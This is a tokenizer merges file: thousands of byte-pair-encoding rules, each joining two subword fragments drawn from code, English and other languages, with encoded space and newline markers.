+De lete +ell s +Ġsol id +Ġmeet ing +Ġwork ed +Ġed itor +in y +Ð ¼ +_ read +. Id +e ff +Off set +ch a +US ER +ĉĉ ĠĠĠ +ipp ed +Ġd ict +ĠR un +.h pp +Ġan g +x ml +im ple +Ġmed ical +_t oken +con nect +Ġh our +Ġcont roller +_m essage +U ID +G r +and ed +_C H +Ġbook s +Ġspe ak +am ing +Ġm ount +Rec ord +ĉ struct +.W eb +ond on +Ġ// Ċ +Ġf elt +.A uto +id ge +_p os +P R +Ġmod ern +C ollection +_m sg +C D +ĠL o +Ġsecond s +ib ly +.e quals +Ġintern ational +# pragma +oo th +W riter +i ate +Ġce le +ĠB it +iv o +iv ery +r d +HE CK +Ġc ache +.c ount +Ġro ll +.Re ad +RE D +Ġset up +izont al +model s +arg v +Ġconsider ed +=" ../ +set tings +ĠR el +Ġgrow th +Ġm ix +ĠWash ington +Ġpl t +ĠI M +á º +Ġturn ed +ĠDate Time +ĠW ed +( url +Ġ" - +Ġlet ter +As ync +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠ +ĠOct ober +_l ine +Ġatt ention +Ġcol lect +ĠH ash +Ġim ag +T ree +Ġsit uation +et te +_n o +IV E +Ġv on +.t arget +Ġknow ledge +Ġdr ive +.p ost +Ġb lood +Ġc it +pr imary +Ġconfig uration +te e +Ġph oto +is ode +Tr ace +Ġg ave +Ġsh ot +ĠA ir +Ġm other +pr ice +Ġmor ning +)) {Ċ +- x +Ġtr ade +Ġdes c +Ġ&& Ċ +Ġparent s +A pi +å Ī +t ed +w er +Ġ æ +Ġs y +ĠK e +Par ser +å ħ +anc y +Ġpie ce +iforn ia +to String +r an +id ing +PT ION +com es +/ lic +.c lient +E l +L ong +Ġprofession al +ru pt +v a +Ġcomplet ely +Ġpract ice +Ġse lection +R em +in i +Ġc am +RE E +Ġsit es +p a +AT US +Ñģ ÑĤ +arr ant +* ( +_ KEY +ĠB utton +ĠF riday +se qu +Ġre ader +Ġm essages +è ¯ +Ġbu f +K e +Ġn ov +H P +M sg +al ign +ar ily +Ġ' , +_w ith +Ġd as +Ġhe ard +at omic +ri al +) [ +Ġdis e +@ end +Ġg old +Ġf air +Ġsa les +. Button +str ict +s ave +Ġme asure +Ġ" + +ec ause +View Controller +ĠT able +.p aram +Ġdec ided +(( ( +IN FO +Ġopport unity +T e +IC ENSE +cc ording +k i +ĠU N +Ġcont ain +Ġman ager +Ġp ain +ĠF ire +rom e +Ġpl ans +F ound +l ay +ĠDec ember +Ġinfl u +à º +ren ch +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġ +az ing +b rief +c all +wo od +Ġload ed +Ġgr and +/ f +im p +_ U +ST R +âĢ ¢ +Ġcred it +.C olor +or ge +QUE ST +Ġdiffer ence +ĠP C +w args +Ġp ub +und ay +Ġf ra +.m ax +Ġtri ed +ann els +s end +Ġreport s +Ġad ult +ä º +Ġcons ist +ĠSt reet +ĠPro gram +S QL +M atrix +ounc il +- A +ĉ w +Ġwho se +Ġrel ig +ĠS ex +Ġg ives +n one +.m essage +( G +.aw t +- right +ĠNov ember +ell ig +ut ive +Ä ĥ +over n +Ġeas ily +Ġide as +ĠÐ ½ +/c ss +ly ing +el le +C an +_c olor +оР² +Ġp air +ng th +Ġs plit +d rop +art y +on a +Ġcap ital +Ġhe ar +Ġex ists +ĉ log +em o +R un +o i +Ġpar ser +ĠM ethod +Ġeduc ation +[ k +Ġlib rary +> ";Ċ +_ UN +ĉ std +od ed +Ġcall s +h ere +R el +Ġbr and +back ground +g a +_add ress +_param s +C ategory +ĠInd ia +_e vent +Ġ ing +R ender +.c l +ump y +Ġp et +F C +ĠA nt +Ex t +Ġchar ge +en ed +gr ad +E O +Ġdep end +Ġ .ĊĊ +fr ame +Ġd f +Ġh uge +ĠP ART +ed s +; ; +ĠA M +Ġbas ic +ĠL et +lic h +Ġar m +Ġst ar +Ġf ederal +W ork +Ġcar ry +ĠIs rael +( obj +={ { +Ġs aved +Ġs yn +Ġconst ant +V ENT +Ġpos itive +Ġcon duct +Ġsk in +Ġear lier +Ġl ayout +ĠI P +O UR +Ġt im +styles heet +_ cl +ĠC ard +++ ){Ċ +Ġtem per +ĠDav id +ĉ try +.d art +Ġwant s +Ġp icture +Ġv ideos +ĠCom m +is ions +_M AX +M apping +- content +ĠE ar +- de +Ġpre m +br uary +Ġcom ponents +Ġthrough out +Ġp ull +Ġp ages +ent e +res pond +Ġg as +cript or +Ġed ge +Ġb ound +A CT +**** ** +Ġcre ating +ĠC H +Ġnull ptr +B r ++ ' +.c o +> :: +Ġle arning +.L ength +_S H +Ġpat ients +A IN +Ġk ids +Ġcom fort +Ġsh own +ug ins +ĠB ack +ell a +_C L +Ġl at +Ġdis patch +Ġclass es +. at +.b egin +Ġsuccess ful +b an +Ġobt ain +ĠS l +Ġl ack +iter ator +Th read +(s ize +Ġn one +.h as +_ X +s ort +n ap +p et +b in +ĠCan ada +The y +Ġd ans +ĠM at +< td +Ġh air +Ġ' ',Ċ +Ġc u +Ġlaw s +let ed +p ed +Ġp ow +Ġk new +_C OM +_ , +ĠM ag +id ents +( req +Ġ ), +- center +Ġw ide +ĠA uthor +st ants +Ġjob s +Ġm ath +et imes +Bo olean +Ġs cope +_ is +Ġme as +Ġkey s +el ay +Ġexact ly +'=> ' +ĠP aul +m as +ĉ print +(l en +f d +Ġ) ; +. Event +q li +ir it +ield s +om an +ĠT op +Ġv ote +Ġm ask +Ġthem e +- Ċ +Ġpro ps +Ġf ine +Ġwrit er +_ offset +c ar +Ġal tern +Ġc opyright +Ġdest roy +pp er +Ġgener ate +pp ed +âĢĻ d +ĠĠĠĠĠĠ Ċ +m ake +ĠSh ow +Ġb rowser +Ġfavor ite +Ġcare er +Ġhappen ed +( char +Ġrecomm end +Ġl iter +.f ilter +gr ade +Ġ £ +Ph one +om s +Ġn amed +- label +ip o +ĠO ther +Ġp anel +Ġro ck +S cale +ĉ assert +Ð ´ +Ġtr ust +fr ont +Ġdem on +A r +N et +Ġecon omic +foot er +Ġr ace +(n ode +ĠO ption +s plit +Ġphys ical +if est +Ġrem oved +. http +)) ,Ċ +Ġlook ed +' ; +d ing +g est +atur day +/lic enses +Pr ice +Ġd ro +Ġto wards +Ġun s +ĠC L +ĉ static +Ġ rows +Ġdef ine +.re place +Ġf ather +ĠDes ign +ass ign +m ut +De vice +D id +') )Ċ +omet ry +ay load +Ġh istor +ĠP aram +ĠBo olean +Ġn ature +Ġj s +Ġn ation +i h +Ġdis cover +se m +Hand le +ĉ r +ĠTe chn +Ġw all +{ $ +@ property +Ġ" ../ +Ġex am +.d raw +opp ing +Ġnear ly +Ġco ol +Ġinde pend +RE S +Ġhand ler +ĠMon day +Ġs un +St yles +ous ly +Ġ ĉ +v est +D isplay +( y +atic ally +Ġpred ict +y ing +Ġsom etimes +" ]Ċ +Ġdr ink +Ġb ul +ific ations +. insert +.re g +Ġtest s +Al ignment +Ġal leg +Ġat tribute +ĠN ote +Ġmy self +art s +N ow +Ġinterest ing +li ents +Ġpop ulation +ĠCal ifornia +" I +å ¹ +Ġgre ater +ues day +Ġth ous +Ġcost s +Ġla unch +\ Http +k er +b and +ĠPl ay +Ġb and +.sh ape +es ome +art icle +.r f +Ġw er +á s +em bers +us r +B A +ic an +et t +valid ate +ult i +Ġimmedi ately +z er +Ġfig ure +o es +ell er +irc le +ĠS ign +.d b +Ġr ank +By tes +Ġproject s +_re c +UL AR +A PI +ĠL ine +P ort +Ġp oll +Ġg iving +id ence +-- Ċ +Ġpl ot +ic ial +Ġw arrant +IT ION +ĠD ouble +Ġbill ion +gorith m +Ġequ ipment +D ATE +Ġ@ " +E E +Ġp le +i ation +Ġhead ers +Ġpro ced +.Component Model +ĠOb ama +Ġp a +ĠB est +im ately +.get String +. \ +mp loy +Ġr aw +_b lock +und red +" },Ċ +.Group Layout +Ġb rought +NS String +th row +cre ated +.N ew +_ view +C P +ep s +O p +Ġgr atis +Ġ' " +Ġinter view +"" "Ċ +Ġpart ial +Ġa ria +b ing +A uthor +Bo ok +ĠP at +um an +Us ers +pl us +ĠD irect +ven ue +al pha +UC CESS +ĠC all +Ġ );čĊ +im ated +Ġrem ain +Ġant i +ĠL ondon +Ġsaf ety +PO SE +o les +cont roller +By te +ĠCour t +ĠPh il +ĠAss oci +en a +å IJ +_ST R +co in +resh old +Ġb atch +_C lick +entic ation +> ';Ċ +ent y +Ġbegin ning +Ġz ero +ĠCon vert +Ġt err +Ġp aid +Ġincre ased +c atch +-s ize +act ivity +e quals +Ġque ue +Ġ" ' +ĠIntern ational +Ġf ür +urs day +Ġsc ient +all ow +ax is +Ġapp ropri +ed ge +Ġid x +S uccess +ent ifier +: \ +x is +Ġmax imum +ark s +Ġb irth +( index +Ġmay be +.p y +file s +Ġlim ited +_ check +lo ok +pl ies +Ġmov ement +'] . +Ġbro ad +ĠB E +ĠUn ityEngine +.c pp +ĠE very +Ad min +Ġf ans +p ared +Ċ ĠĠĠĠĊ +Ġfore ign +Ġp an +Ġt our +ĠOr der +Ġmov ing +Ġa uf +C all +c b +Å Ł +vent ory +ĠS ql +Ġful ly +Click Listener +W ORD +Ġannounc ed +) čĊčĊ +Ġagre ed +ri e +Ġe arn +_l ink +. array +(t ext +Ġmaterial s +, p +ff ff +v g +Ġ © +Ġun less +aj ax +LO G +Ġsex ual +Ġ\ " +- time +Ġco ach +Ġsupport ed +Ġphot os +if orm +.C reate +) ] +ri er +Ġd ialog +av er +ig e +) + +_id x +: [ +_m in +ĠC ong +Ġpress ure +Ġteam s +S ign +b egin +ri an +NE SS +L S +Ġimpro ve +ĠS unday +Ġdef inition +ig er +roll ers +Ġthink ing +T emplate +- F +Ġem erg +pl ates +ĠUS A +.set State +ĠAl so +re v +Ġen able +ĠC O +PE CT +Ġcon cept +) - +ĠâĢ ¢ +Ġset s +Ġmean ing +em on +ĠCon s +c mp +ed er +ann ed +icens ed +ĠS uper +Ġd aily +Ġmult i +_ u +Ġchall eng +_m ode +ĠP romise +Ġstr ict +j o +int on +( list +On ly +> { +Ġveh icle +í ķ +ĠPl ayer +ĠD el +Ġp ool +. url +nes day +();čĊ čĊ +Ġ" );Ċ +L ocal +. ");Ċ +Ġorgan ization +re nder +ĠApp lication +Ġsum mer +ex pected +N A +Ġr ap +_ obj +Ġsur face +ĠP UR +Ġ}, ĊĊ +Ġvariable s +(m essage +Ġop in +.b ack +а н +Ġwork ers +v m +C o +ught er +Ġm aster +Ġ" ", +Ġst ories +. User +Ġcele br +ines e +B S +ĠCom mand +ash board +Ġo g +k g +. image +.st yle +Ġstep s +ĠB en +( args +ĠP erson +, y +Ġofficial s +| Ċ +Ġsk ills +v c +Ġbuild er +Ġg ar +A ccount +ĠA uth +ç Ķ +'] )Ċ +ĠA T +n n +. Int +SS ERT +Ġeffect ive +LE TE +Ġto ols +AR D +Ġdig ital +D ouble +ĠF ind +R C +Ġin line +/ r +AR AM +AS K +Ġint ent +a ight +_add r +Ġrequest s +.f irst +Ġde bug +Ġsp ent +() ));Ċ +Å Ľ +Ġpr incip +Log ger +clud es +. use +Ġsur v +med ia +ĠFe bruary +ĠM ac +Ġmiss ing +Ġw ife +Ġtalk ing +ĠM ake +Ġc art +Ġloc ated +E nc +- a +ch ron +Ġc ards +Ġgu y +Ġp ers +ĠY es +ate ver +ĠA ng +ol ar +ĠE ven +Ġacc ur +ĠP ower +ĠG old +c lear +Pro cess +Ġrec ords +Ġk illed +.c lear +ĠWARRANT IES +Ġpur pose +pan el +J ECT +ÃŃ a +Ġex erc +W S +/ L +. exports +Ġ__ _ +Ġs in +S ervlet +Ġd é +.de lete +ro ke +S l +ug h +ear s +Ġpoint er +Ġh op +all ery +Ġo bs +co very +ĉ char +ĉĉĉĉ ĉĉĉĉĉĉ +ĉ def +oc ity +itch en +ul ations +ĠF IT +Ġ ). +straint s +vent ion +Ġrequ ires +ĠO per +M E +OUN T +al let +Ġn orm +I RE +ex as +Ġprogram s +Ġwe ak +' .$ +u ing +ĉ ĠĠĠĠĠĠĠ +Ġm il +Ġf irm +init ely +_VAL UE +ap se +atis f +Ġdem and +_m od +Ġdescri bed +Ġpl aces +V ID +Ġal one +Ġex port +Ġv ec +ĠM ax +Ġactiv ities +ict ures +g ener +Ġm a +Ĥ ¬ +Ġexpress ion +C allback +_ content +ĠM ost +Ġtest ing +E C +CH ANT +Ġad just +.Th reading +( ctx +Ġag ree +ig hest +Ġu i +ĠL aw +. Y +> ĊĊ +.ex ample +ber g +Ġmov ed +ĉ e +ĠS aturday +Ġpay load +Ä ĩ +) :ĊĊ +Ġbe y +ur er +< script +Ġs ymbol +Ġass um +Ġp ul +E ffect +Ġh undred +To ol +ak ed +con nection +Ġvo ice +Ġp d +Ġtrans action +Ġlink s +E rr +ĠInd ian +T C +atal og +n i +s ign +<< " +j i +y a +Ġdemon str +ul ated +. St +Ġinst it +Ġbo ost +Ġcell s +ol ic +.P ro +: , +"> \ +Ġth us +ĠReg ister +h ol +ĠCh inese +Ġpost ed +Ġm agn +ab ilities +Ġdise ase +Ġrem ains +ĠPro f +- form +Ġc in +org an +ic ate +Ġst ress +] * +Ġ ---------------------------------------------------------------- +_ context +or ry +Ġd ied +m at +Ġstart s +.M essage +Ġrun s +Ġgu ide +Ġwarrant y +ential s +d ict +ĠS ize +ul er +Ġrespons ible +_SE T +Ġcont aining +ĠPr ice +| | +F S +Ġem p +_b utton +( uint +Ġsu ff +p th +Ġdef initely +put e +Ġmarket ing +ĠW H +ĠS ie ++ = +OL OR +Ġcons ult +Ġs igned +Ġse quence +le e +Ġrequire ments +h y +Ex press +M T +se y +Ġ ult +å ® +ellig ence +Ġanal y +Ġd ress +eng ine +ĠG reat +ĠAnd roid +ĠA lex +m ode +D ictionary +.D ate +ä ½ +V ICE +Ġfam ilies +ĠRuss ian +ĠT imes +.c all +$ ( +Pro file +Ġf older +ch es +Ġleg is +_ row +un es +Ù Ħ +Ġ} ). +Ass ert +ag en +ĠH and +I ter +Ġbig gest +ore ach +Ġpol ic +Ġper missions +Ġshow ed +ĠE lement +Ġtop ic +âĢĶ âĢĶ +ro ad +ĠB ank +rec ord +Ġpart ners +ĠR ef +ess ions +Ġass ess +U ST +ĠPart y +pro du +L C +Ġ ul +. form +h ide +c opy +UT F +ĠSO FTWARE +čĊčĊ čĊ +ĠL in +un a +ug ar +Ġadmin istration +Ġopen ing +Ġsc an +Ġcontin ued +com ponent +.s p +Ġhapp ens +um my +ĠP R +.F ile +ĠDown load +Lo ading +d i +Ġwait ing +_A DD +T ab +.query Selector +Ġecon omy +ĠF rench +t xt +Ġf ant +_ ;Ċ +H older +S H +Ġn umpy +Ġst reet +Ġm ale +\ Model +ang ing +ĠB ill +Ġprevious ly +B I +ĠSec ret +Ġm ist +ĠF ield +up s +ĠPro cess +Ġke pt +ĠO T +Ġtrad itional +. i +am in +Ġhelp s +An y +orig in +ilt ers +j u +d esc +ĠA ccount +Ġ) čĊ +k top +ol ly +Ġf s +Ġ ê +Ġ ut +Ġcent ral +(t est +.A n +Ġs atisf +G R +ĠF ull +Ġhe at +ib er +Ġon to +m os +S chema +Ġfact ory +" .$ +aw s +St atement +(t arget +ĉ new +.b e +Ġg uest +Ġm al +AR Y +Ġre ached +Ġm ouse +Ġchall enge +ĉd ouble +ĠT em +Ġt error +Ġex tract +_T O +Ġsepar ate +Ġm ir +h elp +Ġcap acity +ĠProp erty +k an +_c reate +ĠL ight +.p arent +Ġunderstand ing +Ġeas ier +Ġ| = +Ġen h +Ġf at +Ġprot est +am m +_ AT +- of +il s +ĠO h +Ġps ych +Ġ$ . +ind s +Ġrel ative +sh op +sh ort +ĠS and +uest ion +Ġf ear +/ ĊĊ +. context +Ġschool s +Ġser ve +z one +_d b +Ġmajor ity +ex ample +Ġl ang +ĉ ĠĠ +Reg ister +end o +Ġprocess ing +_t emplate +- user +Ġe g +C OM +ĠBl ue +i ro +Ġrem ote +ĠI T +#! / +Ġred istrib +ra z +ĠS ince +ĠT ur +Back ground +== = +Ġref lect +Ġpro s +c md +Ġwh om +Com pat +ĠA re +Id entifier +ĠTh om +_ port +g u +Ġmon itor +r m +Ġpat ient +ver ter +Ġg ain +- ui +In st +Ġd ies +A rea +_f ilter +Ġgr at +Ġreal ity +ord inate +ol ved +Cont act +Ġcompl iance +_ or +ĠV ar +d l +Ġapp end +G ER +(m ax +.re nder +Ġd ynamic +ordin ates +_ options +_c olumn +Ġb atter +s pace +L a +ĠS ource +/b in +Ġd os +ĠBo ard +ĠTh read +ĠA L +( config +ĠM er +Ġm iles +_ header +ETH OD +iz z +Ġbenef it +Ġinteg r +(c urrent +ul o +. default +ĠD iv +Ġt on +o th +erv ation +ed om +Ġb aby +ce ived +.t op +rior ity +ĠL ocal +ri age +Ġattack s +Ġh ospital +Ġfem ale +ĠLog in +ĠFl or +Ġch ain +ash ion +Text ure +S ave +Ġf arm +.cont ains +.T est +Ġknow s +Ġgener ally +ip eline +Ġme ant +enc ia +Ġn icht +Ġcont ents +P M +ched ule +( line +C G +j ob +ĠRe al +u er +f irm +Ġ Ø +et ro +" `Ċ +Ġspe ech +Ġth r +fore ach +Ġw arn +ĉ l +Ġhe avy +< li +N e +Ġinvestig ation +M ath +- title +Ġch urch +Ġdes pite +ch ain +Ġwh atever +ar ian +f n +Ġm eta +} )ĊĊ +U FF +Ġregard ing +_S UCCESS +m es +ĠInt ent +Ġres olve +pos s +ir a +for ce +o ice +à ¢ +Ġp m +Ġup dates +A rr +Ġ Ñ +test ing +Ġto ward +nt ax +ë ĭ +Ġlist en +Ġgo als +Instance State +D r +Ġr are +Ġtr ail +Ke ys +C al +C ar +ĠPe ople +ĉ local +class es +Re ference +.for Each +em b +act iv +Ġpr im +red ict +Ġr ad +æķ ° +.B ack +Ġsp read +Ġc lock +Ġv ir +ed itor +Ġeffort s +Ġbr anch +Ġind ust +Ġmot or +Ġam b +Ġdat etime +Ġren cont +ĠChrist ian +ĠAmeric ans +f ull +Ġf mt +.m ain +Ġca used +_ update +ĠCont ent +AT CH +Ġb ath +ĠE ach +Ġr adio +ach ment +uz z +Sub mit +Ġre strict +ab in +ĠL oad +Ġext ension +Ġess ay +Ġh at +avi our +to Be +": [ +Ġoffer ed +Ġv ill +(d ouble +æĹ ¥ +b c +_f ree +ĠM iss +ĠB er +Ġ è +ĠL ike +Ġhelp ed +.get Name +_ AL +Ġsp irit +ĠAp ache +w s +Ġthere fore +( params +_ img +Ġpe ace +Ġinc or +ĠEX PECT +Ġmin or +ip es +ĉ data +select or +c ity +tr ie +.b ase +_f rame +Ġopen ed +/ json +L Y +n u +.D e +t f +m argin +.P arse +Ġp i +Ġe q +b d +Field s +ĠT ree +Ġb an +ist an +Ċ ĠĠĠĠĠĠĠĠĊ +ĉg l +Ġprodu ced +s ystem +M ark +_h ash +Ġb g +Ġconst it +ĠLe ague +Ġmiss ion +_ format +([ Ċ +clus ion +! " +Ð · +b reak +ĉs witch +Ġth er +Trans form +Ġfoot ball +- link +r oute +. auth +Ġb ag +ov ers +Ġen abled +Ġr ac +( I +C R +anc ing +Ġman aged +_ q +NG TH +Ġm ac +ĠA uto +ament e +Ġ' ', +.App end +Ġp in +. item +ack ing +Ġocc as +p erson +Ġt i +.Re g +Ġh aven +Ġg lass +Ġ" ) +_ char +res ource +Ġep isode +Ġ' _ +ĠE s +ĠEar th +Âł Âł +UP DATE +ĠS ou +u is +t ypes +Ġm as +Ġf av +Ġcon struct +_r ate +er as +Ġ| Ċ +rop erties +Ġext ernal +Ġap plied +Ġpre fix +ot ed +l ers +Ġc old +ĠS P +ĠCh urch +ĠOut put +los ed +ç ļ +ific ate +oper ation +her it +x FF +. env +_ err +os h +D irection +C ancel +ĠFr ank +Ġfind ing +. )ĊĊ +Ġr outer +ãĥ » +s es +Ġc row +== ' +Ġs and +Ġr id +it ure +Ġent re +Ġo bserv +Ġv ac +ð Ł +- T +A rt +n ight +. search +Ġex change +Ġdistr ict +. os +Ġdep artment +Ġdoc uments +Ġcent ury +ĠN ext +H ost +ĠK IND +Ġsus p +- P +re nd +. em +u ite +ist ers +( json +ĠAn n +w t +at i +ĠHT ML +wh en +D irectory +Ġsh ut +< a +ed y +Ġhealth y +Ġtemper ature +ĠG en +Ġmet al +Ġsub mit +ĠD O +Ġat tract +Ġ{ };Ċ +ĠW ord +Ġl l +Ġseem ed +k o +I ED +Ġl abor +.Cont ext +Ġas set +y ou +Ġc ars +ĠC olumn +Ġr é +Ġs quare +ĠNS String +âĢĿ , +ap es +.. .Ċ +Ġthan ks +( props +Ġt ick +Ġexper iment +Ġpr ison +t ree +- text +ĠIO Exception +-w idth +_ST ATUS +f ast +-b ody +- header +Ġgu ar +cre te +ĠT im +Ġclear ly +ĠRepublic an +Ġjust ify +и ÑĤ +ĉ ĠĠĠĠ +c ache +; // +Ġpres ence +Ġfact ors +Ġemploy ee +] )) +M ember +Ġselect or +b or +ĠM ex +çļ Ħ +ut ex +_t ag +ail ure +ĠN et +Ġre li +E G +Ġf printf +Ġte en +lo ss +Ġle aving +De legate +Ġbe at +Ġmin ute +sub scribe +Ġredistrib ute +Con stants +Ġcan cer +/ { +B L +Ġs pan +ĠCh ild +C enter +Ġear th +Y S +ĠLe vel +Ġse a +.s upport +.in ner +. Item +ill ing +ĠĠĠĠĊ ĠĠĠĠĊ +ĠL abel +ĠE st +( arg +bo Box +ĉf oreach +c os +F ailed +sw ers +Ed itor +r ont +ĠM P +ex pr +ĠL ife +Ġ? ? +ö r +Ġatt end +ĠQ ue +Ġspec ies +- D +Ġa us +Str uct +Ġadvant age +ost on +-b lock +in itial +C RE +Ġtr uly +Ġcomp are +or ney +Ġs pect +F ull +b es +Ġvis ible +Ġm ess +st ances +Ġcl oud +_v ersion +Ġf urn +ic ago +LO W +Ġtraff ic +Ġf ol +rypt o +Ġdecl ar +Ġsl ot +ĠEx t +ĠEng land +ĠU nder +Ġt a +let ter +Ġoffic er +ĠDon ald +Y es +_ json +IT ableView +ĠU SE +mploy ee +Ġopin ion +ĠA ut +b order +Ġad vice +Ġautom atically +is co +Ġm m +. vis +am l +Ġinitial ize +Ġ( { +Ġ ;ĊĊ +Ġgener ation +Ġb its +clip se +Ġun f +ut ors +pl t +Ġdel ta +est roy +is is +< br +Ġlimit ations +Ġend ed +ĠM ad +il m +Th ese +ĠMin ister +Ġch art +F ragment +Ġindepend ent +Y ear +Ġin str +Ġt ags +A VE +ĠAr ch +st op +Pro gress +Ġm i +Ġlearn ed +G e +Ġhot el +S M +T YPE +Ġc y +ERS ION +un ately +l imit +s el +Ġmov ies +Ġste el +o z +g b +ĠC amp +s ite +ĠLog ger +P LE +оР´ +. right +ĠC ore +Ġm ixed +st ep +Ġput s +s uper +R outer +. Http +ly ph +ĠColor s +Ġandroid x +. str +Ġinn ov +Ġde ck +' >Ċ +ap ers +] ( +cont inue +s pec +ĠR oad +AS H +ili ar +Ġcontin ues +Ġapp oint +Ġ# Ċ +ĠV ir +Ġ?> " +Ġb in +} ", +go ing +e ach +B D +ĠA ccess +D oc +ĠMan agement +B ER +ask et +.get Instance +Ġestablish ed +so cket +IN S +ĉv irtual +ĉ result +RE AD +_ height +ĠF ont +Ġ( );Ċ +_ html +Ġneighb or +l or +Ġg ather +Ġ} )ĊĊ +Ġid entity +Ġf ab +p adding +ĠR oute +Enumer able +à ´ +Ġfor ced +/j query +.ĊĊ ĊĊĊĊ +res ents +_ left +.P aram +ĉ throw +ĠH am +Ġevent ually +ac er +p ub +Ġtr a +un ique +d el +ĠFlor ida +ĠC lean +x a +Ġ · +Ġvalid ate +Vis ual +Ex pression +_f unc +m ember +ĉ h +tr l +ĉ G +nap shot +ĠProp Types +v in +] )ĊĊ +ow l +if ies +Ġ$ ('. +ĠCont ext +ĠTo ast +. Key +Ġoffic ers +/ n +s n +und efined +. items +ut ow +am age +Ġaccount s +ook ie +Se ction +ici ans +Ġad vis +( is +[: , +ĠFr ance +F unc +ic ious +Ġto k +Ch annel +ĠA D +_N UM +Ġtime out +lem ma +rem e +u j +.A l +uc lear +( os +(" < +[ Ċ +f etch +Ġb al +Ġgu id +- align +ĠW rite +ĠOn ce +utow ired +OD ULE +Ġp itch +C F +by tes +ĠCom mission +Ġincre d +P ER +_ response +ĠL os +par ser +Ġass ume +. Request +ĠT oken +_p osition +Ġn om +- term +Ġrem aining +i ostream +Ġpie ces +ap y +ĠL ess +r ange +umb n +pr ise +_ option +Im pl +k wargs +Ġbusiness es +Al ert +Ġpart ies +ĠCont ainer +ĠPr ivate +ĠPl an +Ġregister ed +Ġj our +ack er +ен и +/ > +ch at +se ct +Ġcre ation +olut ely +Ġinst ant +Ġdel ivery +ick en +y es +ĠFr anc +bl ing +end a +[ ( +_r ange +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠ +Ġsched ule +Con n +Ġthan k +x d +Ġh ook +Ġdocument ation +Param eters +H ello +v t +Ġart icles +Ġw est +def ined +. select +ok ens +ĠV AL +.f ile +res et +Ġmy s +ĠM A +] ), +Ġc ities +rel ated +å Ľ +Ġappe ared +Ġw id +.p anel +ĠIn s +. entity +Ġde cre +ĠL ou +(t ime +ĠTh ank +.create Element +Ġmention ed +oun ce +ĠT ry +ĠW all +/ images +ĠM enu +' čĊ +ĠE r +Ġcrit ic +ĠY ear +( param +Ġf lo +N N +oot er +Ġ ];Ċ +ĠA ff +" github +room s +Ġh yp +g lobal +Ġa vec +æľ Ī +Ġcomplet ion +Ġcon d +onym ous +( temp +Ġst ars +Ġre levant +Ġcover ed +Ġel im +_t ypes +( bool +Ġt u +_ex ists +Ġsec ure +Ġst ored +] / +x F +ĠCont roller +Ġm igr +M I +ĠD en +Ġann ual +U IL +- and +Ġcr ime +b el +Ġk itchen +@ g +_p h +ourn ament +ĠS ocial +ĠS pecial +log ger +Ġt ail +Ġun known +d ed +Ġapp rec +(d b +c f +Ġass ign +- out +ĠM ont +d p +w idget +Ġst one +- primary +. grid +Result s +az z +Ġda ughter +Ġcur r +Ġl in +Ġs outh +form s +ĠO UT +let te +ak s +ig ure +ĠE U +var iable +Ġb rief +ĠSc ott +Ġcon ference +and a +_ lock +or al +Ġe ine +OR S +//////////////////////////////// //////////////////////////////// +ess o +Ġr is +Ġg ender +est ic +L icense +( out +Ġm s +Se e +Ġwill ing +az e +Ġs ports +Ġy es +l u +Ġp urs +/j avascript +- pro +nav bar +_pro duct +/ bootstrap +Ġdr iving +Ġ Ä +Ġpro pos +ult ip +up lic +. email +Ġappro x +( cl +Ġwe ar +Ġrep ly +ass et +Ġ ice +Ġt x +k r +ĠGerman y +ĠGe orge +Ġc b +ĉ err +M ove +Ġpol y +vo ice +} " +Ġan imal +A v +ĠL ocation +Ġn ative +] [" +< double +Ġm ais +, int +Ġpre par +Ġinter val +plement ation +_ ERR +Ġb ug +> " +st at +Ġ} ,čĊ +< span +Ġfa ith +Ġ rom +pre v +ĠE lect +F ind +Ġg od +ot or +// ---------------------------------------------------------------- +orig inal +C pp +ĠSen ate +Ġposition s +Ġweap ons +Ġco ff +Ġpur poses +p ol +Ġim press +Ġanim als +. Entity +(n p +Ġmur der +Ġ` ` +fl ag +Ġsol utions +ĠAct ive +Ġb right +.d ate +Ġsit u +ï¼ Ī +. ID +Ġs ie +), čĊ +ak t +S pace +.d at +.index Of +h an +az ine +ĠZ e +Ġcr ash +( / +> = +Ð ± +iv a +.Auto Size +ĠL at +_ ext +Initial ize +.reg ister +OP Y +Ġre verse +_d is +'] [ +Ġprom pt +ont o +ĠJ ournal +r outer +Ġmys qli +# else +) " +-x s +let s +ph an +. LE +W ill +Ġaff ord +Ġsk ill +-t oggle +N C +B ind +T S +J ust +iter al +Y P +ĉ unsigned +Ġw ind +)) :Ċ +Ġw arning +ĠW ater +Ġd raft +Ġc m +Ġs am +Ġhold ing +z ip +ĠSc ience +Ġsup posed +G en +Ġdi et +< h +ĠP ass +v i +Ġhus band +� � +n ote +ĠAb out +ĠIn stitute +Ġcl imate +.Form at +Ġn ut +est ed +Ġapp arent +Ġhold s +f i +new s +C M +v ideo +': ' +D ITION +p ing +Ġsen ior +w a +-- >Ċ +_ default +ĠD atabase +re p +E SS +ner gy +.F ind +_m ask +Ġr ise +Ġk ernel +:: $ +. Q +Ġoffer ing +de cl +ĠC S +Ġlist ed +Ġmost ly +eng er +Ġblock s +ol o +Ġgover ning +\ F +Ġcon cent +.get Text +Ġm b +Ġocc urred +Ġchang ing +Sc ene +_C ODE +B eh +" The +Ġt ile +ĠAssoci ation +ĉ P +al ty +_ ad +od ies +i ated +Ġpre pared +poss ible +Ġm ort +TE ST +Ġign ore +Ġcal c +Ġr s +Ġassert Equals +Ġs z +ĠTH IS +. "Ċ +Ġcan vas +j ava +Ġd ut +VAL ID +.s ql +. input +Ġa ux +S up +Ġart ist +V ec +_T IME +.string ify +et ween +ĠC ategory +Ġ[ - +ĠDev Express +ĠJ ul +Ġr ing +. ed +Y Y +L et +Text Field +Ġfl at +_p rint +ĠOT HER +ad ian +Ġcheck ed +e le +Al ign +stand ing +Ġ[ ], +Ġl ab +uck y +ĠChrist mas +( image +.m odule +Ġl ots +Ġslight ly +(f inal +er ge +è ¿ +ĠPol ice +ĠR ight +Ġaw ard +ĠO S +Ġ{ }ĊĊ +Ġp tr +ov es +ic ated +еР¼ +Ġman age +olid ay +Am ount +ool Strip +t body +N av +w rap +B B +Ġwatch ing +ari os +Ġoption al +_ K +ĠL icensed +.M ap +T imer +ĠA P +ĠRe v +( o +, c +um in +eta iled +ĠH y +Ġbl ank +ag ger 